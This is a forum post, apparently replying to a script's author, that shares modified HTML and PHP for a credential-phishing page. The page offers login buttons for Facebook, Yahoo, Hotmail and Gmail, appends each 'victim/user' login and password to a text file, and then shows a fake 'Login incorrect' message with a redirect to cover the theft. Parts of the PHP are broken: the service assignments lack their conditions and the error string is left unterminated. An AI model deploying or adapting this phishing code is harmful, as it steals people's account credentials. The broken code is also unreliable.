VulpArgenti, thank you for your work on this script, it works very well.

I have made some changes to the html and php portions of this script and wanted to share them here.

I wanted to know which service the victim/user was trying to login with so I modified lines 37 through 40 of index.html to include name="service" on the login buttons:
	<td align=center ><input type="submit" value="login" name="facebook" /></td>
	<td align=center ><input type="submit" value="login" name="yahoo" /></td>
	<td align=center ><input type="submit" value="login" name="hotmail" /></td>
	<td align=center ><input type="submit" value="login" name="gmail" /></td>
I've made several modifications to process-form-data.php so I'll post the entire file here. I added the handling of the names of the buttons, I changed the layout of the .txt file it creates, I made it display an error and refresh back to the login page so they don't keep refreshing and adding the credentials to the file over and over, and shortened the sleep(4) to sleep(1) because 4 seemed to be too long to me (just preference maybe).

Here's the new process-form-data.php
$name = $_POST['login'];
$password = $_POST['password'];

	$service = "facebook";
	$service = "yahoo";
	$service = "hotmail";
	$service = "gmail";

$accinfo = "login: $name\npass: $password\nservice: $service\n-----\n";

$fp = fopen("formdata.txt", "a");
fwrite($fp, $accinfo);


$error =
"<html>\n" .
"<head>\n" .
"<meta http-equiv=\"Refresh\" content=\"5;url=/\" />\n" .
"</head>\n" .
"<body>\n" .
"<center><p1><b>Login incorrect.</b></p1></center>\n" .
"<center><p1>You are being redirected.</p1></center>\n" .
"</body>\n" .

echo $error;

//uncomment to debug $_POST variable:

//uncomment to list name, password, and service variables:
//echo('$name: ' . $name . '<br>$password: ' . $password . '<br>$service: ' . $service);